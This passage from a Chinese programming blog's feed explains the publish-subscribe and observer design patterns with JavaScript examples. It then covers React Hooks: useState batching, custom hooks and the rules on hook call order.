<li>流程：订阅者（Subscriber）把自己想订阅的事件注册（Subscribe）到调度中心（Event Channel），当发布者（Publisher）发布该事件（Publish Event）到调度中心，也就是该事件触发时，由调度中心统一调度（Fire Event）订阅者注册到调度中心的处理代码。</li>
</ul>
<h3 id="实现">实现</h3>
<ul>
<li>摘自<a href="https://juejin.cn/post/6985156199192723487"  target="_blank" rel="noopener" >手写一个基于发布订阅模式的js事件处理中心(EventEmitter) - 掘金</a></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">EventEmitter</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">constructor</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">_events</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">on</span><span class="p">(</span><span class="nx">eventName</span><span class="p">,</span> <span class="nx">callback</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_events</span><span class="p">[</span><span class="nx">eventName</span><span class="p">]){</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">eventName</span> <span class="o">!==</span> <span class="s2">&#34;newListener&#34;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                <span class="k">this</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="s2">&#34;newListener&#34;</span><span class="p">,</span> <span class="nx">eventName</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">callbacks</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">_events</span><span class="p">[</span><span class="nx">eventName</span><span class="p">]</span> <span class="o">||</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">        <span class="nx">callbacks</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">callback</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">_events</span><span class="p">[</span><span class="nx">eventName</span><span class="p">]</span> <span class="o">=</span> <span class="nx">callbacks</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">emit</span><span class="p">(</span><span class="nx">eventName</span><span class="p">,</span> <span class="p">...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">callbacks</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">_events</span><span class="p">[</span><span class="nx">eventName</span><span class="p">]</span> <span class="o">||</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">        <span class="nx">callbacks</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">cb</span> <span class="p">=&gt;</span> <span class="nx">cb</span><span class="p">(...</span><span class="nx">args</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">once</span><span class="p">(</span><span class="nx">eventName</span><span class="p">,</span> <span class="nx">callback</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">one</span> <span class="o">=</span> <span class="p">(...</span><span class="nx">args</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">callback</span><span class="p">(...</span><span class="nx">args</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">this</span><span class="p">.</span><span class="nx">off</span><span class="p">(</span><span class="nx">eventName</span><span class="p">,</span> <span class="nx">one</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="nx">one</span><span class="p">.</span><span class="nx">initialCallback</span> <span class="o">=</span> <span class="nx">callback</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="nx">eventName</span><span class="p">,</span> <span class="nx">one</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">     <span class="nx">off</span><span class="p">(</span><span class="nx">eventName</span><span class="p">,</span> <span class="nx">callback</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">callbacks</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">_events</span><span class="p">[</span><span class="nx">eventName</span><span class="p">]</span> <span class="o">||</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">newCallbacks</span> <span class="o">=</span> <span class="nx">callbacks</span><span class="p">.</span><span class="nx">filter</span><span class="p">(</span><span class="nx">fn</span> <span class="p">=&gt;</span> <span class="nx">fn</span> <span class="o">!=</span> <span class="nx">callback</span> <span class="o">&amp;&amp;</span> <span class="nx">fn</span><span class="p">.</span><span class="nx">initialCallback</span> <span class="o">!=</span> <span class="nx">callback</span> <span class="cm">/* 用于once的取消订阅 */</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">_events</span><span class="p">[</span><span class="nx">eventName</span><span class="p">]</span> <span class="o">=</span> <span class="nx">newCallbacks</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="eventbus">EventBus</h3>
<ul>
<li>指<a href="https://github.com/greenrobot/EventBus"  target="_blank" rel="noopener" >greenrobot/EventBus: Event bus for Android and Java that simplifies communication between Activities, Fragments, Threads, Services, etc. Less code, better quality.</a></li>
<li>发布订阅模式</li>
<li>
  <img loading="lazy" src="https://github.com/greenrobot/EventBus/raw/master/EventBus-Publish-Subscribe.png" alt="架构图"  /></li>
<li>使用: 参见 <a href="https://www.cnblogs.com/sishuiliuyun/p/16283018.html"  target="_blank" rel="noopener" >EventBus 使用（全面分析，细节提醒） - 似水流云 - 博客园</a></li>
</ul>
<h3 id="区别于观察者模式">区别于观察者模式</h3>
<ul>
<li>观察者是经典软件设计模式中的一种,但发布订阅只是软件架构中的一种消息范式。</li>
<li>观察者模式本身只需要2个角色便可成型，即观察者和被观察者，其中被观察者是重点。</li>
<li>发布订阅需要至少3个角色来组成，包括发布者、订阅者和发布订阅中心，其中发布订阅中心是重点。</li>
<li>观察者模式实现
<ol>
<li>被观察者对象</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Subject</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">constructor</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">observerList</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">addObserver</span><span class="p">(</span><span class="nx">observer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">observerList</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">observer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">removeObserver</span><span class="p">(</span><span class="nx">observer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">index</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">observerList</span><span class="p">.</span><span class="nx">findIndex</span><span class="p">(</span><span class="nx">o</span> <span class="p">=&gt;</span> <span class="nx">o</span><span class="p">.</span><span class="nx">name</span> <span class="o">===</span> <span class="nx">observer</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">observerList</span><span class="p">.</span><span class="nx">splice</span><span class="p">(</span><span class="nx">index</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">notifyObservers</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">observers</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">observerList</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">observers</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">observer</span> <span class="p">=&gt;</span> <span class="nx">observer</span><span class="p">.</span><span class="nx">notified</span><span class="p">(</span><span class="nx">message</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="2">
<li>观察者</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Observer</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">constructor</span><span class="p">(</span><span class="nx">name</span><span class="p">,</span> <span class="nx">subject</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">name</span> <span class="o">=</span> <span class="nx">name</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">subject</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">subject</span><span class="p">.</span><span class="nx">addObserver</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">notified</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="s1">&#39;got message&#39;</span><span class="p">,</span> <span class="nx">message</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li>使用</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">subject</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Subject</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">observerA</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Observer</span><span class="p">(</span><span class="s1">&#39;observerA&#39;</span><span class="p">,</span> <span class="nx">subject</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">observerB</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Observer</span><span class="p">(</span><span class="s1">&#39;observerB&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">subject</span><span class="p">.</span><span class="nx">addObserver</span><span class="p">(</span><span class="nx">observerB</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">subject</span><span class="p">.</span><span class="nx">notifyObservers</span><span class="p">(</span><span class="s1">&#39;Hello from subject&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">subject</span><span class="p">.</span><span class="nx">removeObserver</span><span class="p">(</span><span class="nx">observerA</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">subject</span><span class="p">.</span><span class="nx">notifyObservers</span><span class="p">(</span><span class="s1">&#39;Hello again&#39;</span><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="装饰器模式">装饰器模式</h2>
<p>wip</p>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/call-apply-decorators#tou-ming-huan-cun"  target="_blank" rel="noopener" >装饰器模式和转发，call/apply</a></li>
</ul>
<hr>
<h2 id="参考-1">参考</h2>
<ul>
<li><a href="https://refactoringguru.cn/design-patterns/catalog"  target="_blank" rel="noopener" >设计模式目录：22种设计模式</a></li>
<li><a href="https://www.cnblogs.com/kyoner/p/11425999.html"  target="_blank" rel="noopener" >《Head First 设计模式》读书笔记 - murphy_gb - 博客园</a></li>
<li><a href="https://juejin.cn/post/6871098899960971278"  target="_blank" rel="noopener" >前端常用设计模式分享 - 掘金</a></li>
<li><a href="https://barnett617.github.io/wilson-blog/posts/2021-06-28-observer-pattern/"  target="_blank" rel="noopener" >理解【观察者模式】和【发布订阅】的区别 | Wilson&rsquo;s Blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>进一步学习ReactHook</title>
      <link>https://ds63.eu.org/2024/learn_react_hook/</link>
      <pubDate>Tue, 08 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_react_hook/</guid>
      <description>从“生命周期和时间”的思维模式转变为“状态和与DOM的同步”的思维模式</description>
      <content:encoded><![CDATA[<h2 id="react-官方-hook">React 官方 Hook</h2>
<p>Hook 是 React 16.8 之后引入的一个特性，允许你在不使用类组件的情况下在函数组件中引入状态和其他 React 特性。</p>
<h3 id="usestate"><code>useState</code></h3>
<ul>
<li><code>useState</code> 允许在函数组件中引入局部状态。它的实现依赖于闭包和状态管理机制。</li>
<li>每次渲染时，React 通过维护一个 “hook 调用栈” 来保存每次调用 <code>useState</code> 后的状态。这些状态被保存在一个链表结构中，每次渲染时 React 都会按顺序遍历这些状态。</li>
</ul>
<h3 id="useeffect"><code>useEffect</code></h3>
<ul>
<li><code>useEffect</code> 允许在函数组件中执行副作用，比如数据请求、订阅、直接 DOM 操作等。- 它的实现原理是通过依赖数组来追踪变化，并在 DOM 完成更新后执行指定的副作用逻辑。如果某些依赖值发生变化，React 就会在下一次渲染后重新执行该副作用函数。</li>
</ul>
<h3 id="usecontext"><code>useContext</code></h3>
<p>wip</p>
<h3 id="usereducer"><code>useReducer</code></h3>
<p>wip</p>
<ul>
<li>参考: <a href="https://juejin.cn/post/7091180323123232782"  target="_blank" rel="noopener" >深入学习React Hook——useReducer - 掘金</a></li>
</ul>
<h2 id="useid">useId</h2>
<ul>
<li><a href="https://react.dev/reference/react/useId"  target="_blank" rel="noopener" >useId – React</a></li>
<li>generate a unique ID</li>
<li>A component may be rendered more than once on the page—but IDs have to be unique! Instead of hardcoding an ID, generate a unique ID with useId.</li>
</ul>
<hr>
<h3 id="hook-的顺序与规则">Hook 的顺序与规则</h3>
<ul>
<li>Hook 的使用顺序非常重要。React 需要在每次渲染时依赖 Hook 调用的顺序来关联正确的状态。所以，Hook 必须在顶层调用，不能放在条件或循环中。</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6891577820821061646"  target="_blank" rel="noopener" >React Hooks原理探究，看完不懂，你打我 - 掘金</a></li>
<li><a href="https://coderperson.com/2020/08/02/React%20Hooks%20%E8%A7%A3%E6%9E%90/"  target="_blank" rel="noopener" >React Hooks解析（看这一篇就够了） | 骚客</a></li>
<li><a href="https://incepter.github.io/how-react-works/docs/react-dom/how.hooks.work/#thenable"  target="_blank" rel="noopener" >How hooks work | How React Works</a></li>
<li><a href="https://github.com/z-memo/interview/issues/138"  target="_blank" rel="noopener" >react hooks 的原理是什么 · Issue #138 · z-memo/interview</a></li>
</ul>
<hr>
<h2 id="自定义hook">自定义hook</h2>
<h3 id="hook的理解">hook的理解</h3>
<ol>
<li>
<blockquote>
<p>在 React 中被调用的且以 use 开头命名的函数叫 Hook。</p>
</blockquote>
</li>
<li>Hooks 是一种范式转换，从“生命周期和时间”的思维模式转变为“状态和与DOM的同步”的思维模式</li>
</ol>
<blockquote>
<p>准确来说，应该是逻辑片段复用。</p>
<p>和组件化思维不同，这是另外一个粒度更细的代码复用思维。例如我们之前提到的，获取同样的数据。在组件化思维中，一个完整的组件，包括了这份数据，以及这份数据在页面上的展示结果。因此这是不同的复用思维。</p>
<p>处理获取数据过程中的公用逻辑，处理公用的登陆逻辑等。自定义hooks封装的大多数情况下不是一个完整的页面逻辑实现，而是其中的一个片段。 自定义hook能够跟随函数组件重复执行，并且每次都返回最新结果。因此，我们可以非常放心大胆的封装异步逻辑。</p>
</blockquote>
<ol start="3">
<li>自定义 Hook 是将逻辑封装为可重用的代码块。它实际上是一个普通的 JavaScript 函数，可以使用其他 Hook，并返回状态或副作用逻辑。自定义 Hook 让组件逻辑更加灵活和可重用。</li>
</ol>
<h3 id="自己的经历">自己的经历</h3>
<ol>
<li>
<p>在我写<a href="https://github.com/EuDs63/BookRecommend_Front"  target="_blank" rel="noopener" >EuDs63/BookRecommend_Front: 图书推荐系统</a>，就很经常需要从API获取数据。虽然这时候还没有自定义hook的概念，但很自然地封装了一个函数。在看了<a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a>，了解到<a href="https://swr.vercel.app/zh-CN"  target="_blank" rel="noopener" >用于数据请求的 React Hooks 库 – SWR</a>。</p>
</li>
<li>
<p>发现了阿里巴巴开源的<a href="https://ahooks.js.org/"  target="_blank" rel="noopener" >ahooks - React Hooks Library - ahooks 3.0</a>,封装了常用的hook，代码量都不算很大，但都很巧妙，正在学习中。</p>
</li>
<li>
<p>看<a href="https://blog.saeloun.com/2022/02/17/how-to-integrate-react-app-with-google-analytics/"  target="_blank" rel="noopener" >How to integrate Google Analytics with React JS application? | Saeloun Blog</a> ,可以把ga给集成为hook,react-router-dom</p>
</li>
<li>
<p>读<a href="https://swr.vercel.app/zh-CN"  target="_blank" rel="noopener" >用于数据请求的 React Hooks 库 – SWR</a>，看上了<a href="https://swr.vercel.app/zh-CN/examples/subscription"  target="_blank" rel="noopener" >Subscription – SWR</a>，感觉能用来替代项目中使用的redux，但搜了圈，能找到的资料不多，算了。</p>
</li>
<li>
<p>发现<a href="https://usehooks.com/"  target="_blank" rel="noopener" >useHooks – The React Hooks Library</a>，可以学学</p>
</li>
</ol>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI4NjE3MzQzNg==&amp;mid=2649865889&amp;idx=1&amp;sn=2549fb3da7608aa8e3cce0623fbd8d25"  target="_blank" rel="noopener" >超性感的React Hooks（五）：自定义hooks</a></li>
<li><a href="https://mp.weixin.qq.com/s/GPcwIPJBc9I_NtixyU-U4Q"  target="_blank" rel="noopener" >超性感的React Hooks（六）自定义hooks的思维方式</a></li>
<li><a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://zh-hans.react.dev/warnings/invalid-hook-call-warning"  target="_blank" rel="noopener" >Hook 规则 – React 中文文档</a></li>
</ul>
<hr>
<h2 id="问题">问题</h2>
<h3 id="react-是如何把对-hook-的调用和组件联系起来的">React 是如何把对 Hook 的调用和组件联系起来的？</h3>
<p><a href="https://zh-hans.legacy.reactjs.org/docs/hooks-faq.html#under-the-hood"  target="_blank" rel="noopener" >Hooks FAQ – React</a></p>
<blockquote>
<p>React 保持对当前渲染中的组件的追踪。Hook 只会在 React 组件中被调用（或自定义 Hook —— 同样只会在 React 组件中被调用）。</p>
<p>每个组件内部都有一个「记忆单元格」列表。它们只不过是我们用来存储一些数据的 JavaScript 对象。当你用 useState() 调用一个 Hook 的时候，它会读取当前的单元格（或在首次渲染时将其初始化），然后把指针移动到下一个。这就是多个 useState() 调用会得到各自独立的本地 state 的原因。</p>
</blockquote>
<h3 id="为什么usestate是异步的">为什么useState是异步的</h3>
<p><code>useState</code> 的行为在<strong>某种程度</strong>上表现为异步，主要原因是为了优化 React 的渲染过程和性能。React 将多个状态更新合并到一起，并通过批量更新的方式避免不必要的重新渲染。具体原因如下：</p>
<ol>
<li><strong>批量更新机制</strong></li>
</ol>
<ul>
<li>React 在处理事件处理函数或生命周期方法（如 <code>useEffect</code>）中的 <code>setState</code> 调用时，通常不会立即应用状态更新，而是会将这些更新“批量”处理。在一次事件循环中，多个 <code>setState</code> 调用会被合并为一次更新。这种批量更新策略可以提高性能，避免在每次状态变化后都重新渲染组件。</li>
<li>示例：批量更新</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">handleClick</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 更新不会立即发生
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span> <span class="c1">// 也不会立即发生
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">p</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/p&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{</span><span class="nx">handleClick</span><span class="p">}</span><span class="o">&gt;</span><span class="nx">Increment</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="err">/div&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>在这个例子中，虽然调用了两次 <code>setCount</code>，但 React 会将它们合并为一次更新。
2. 异步特性防止多次渲染</p>
<ul>
<li>
<p>如果 <code>useState</code> 是同步的，每次调用 <code>setState</code> 时都会导致组件重新渲染，这样会严重影响性能。想象在一次事件处理函数中调用多次 <code>setState</code>，如果每次都导致同步重新渲染，性能开销将非常高。</p>
</li>
<li>
<p>示例：同步更新的弊端</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">handleClick</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 如果是同步，组件将立即重新渲染
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span> <span class="c1">// 会导致多次无效渲染
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">p</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/p&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{</span><span class="nx">handleClick</span><span class="p">}</span><span class="o">&gt;</span><span class="nx">Increment</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="err">/div&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>如果 <code>setCount</code> 是同步的，React 会在每次状态更新时都重新渲染组件，导致性能下降。为了避免这种情况，React 通过异步机制将多次更新合并到一次渲染中。</p>
<ol start="3">
<li>
<p>React Fiber 架构</p>
<ul>
<li>React 引入了新的 Fiber 架构，使其能够以分片的方式执行任务，将大任务切分成小的可中断的子任务。在此过程中，React 可能会推迟状态更新，直到它完成当前的渲染工作。这样可以确保用户界面始终保持流畅。</li>
<li>如果 <code>useState</code> 是同步的，React 就无法利用 Fiber 架构的优势来进行任务调度和批量更新。</li>
</ul>
</li>
<li>
<p>状态更新并不真正是异步的</p>
<ul>
<li>虽然 <code>useState</code> 的更新机制表现为异步，但从技术上讲，它并不是真正的异步操作，像 <code>Promise</code> 那样。实际上，它是在下一个渲染周期中同步更新的。React 将状态更新延迟到合适的时机，而不是立即应用。</li>
<li>示例：获取最新状态</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">handleClick</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setCount</span><span class="p">(</span><span class="nx">prevCount</span> <span class="p">=&gt;</span> <span class="nx">prevCount</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 使用回调函数获取最新的状态
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">setCount</span><span class="p">(</span><span class="nx">prevCount</span> <span class="p">=&gt;</span> <span class="nx">prevCount</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 这样可以确保多次更新正确执行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">p</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/p&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{</span><span class="nx">handleClick</span><span class="p">}</span><span class="o">&gt;</span><span class="nx">Increment</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="err">/div&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>通过回调函数 <code>prevCount</code>，我们可以确保每次更新都基于最新的状态值。这样即便 <code>setState</code> 是异步的，也能确保状态更新的正确性。</p>
</li>
</ol>
<h3 id="为什么hooks不能写在ifelse等语句里">为什么hooks不能写在if/else等语句里</h3>
<ol>
<li>
<p>Hooks 调用顺序的依赖</p>
<ul>
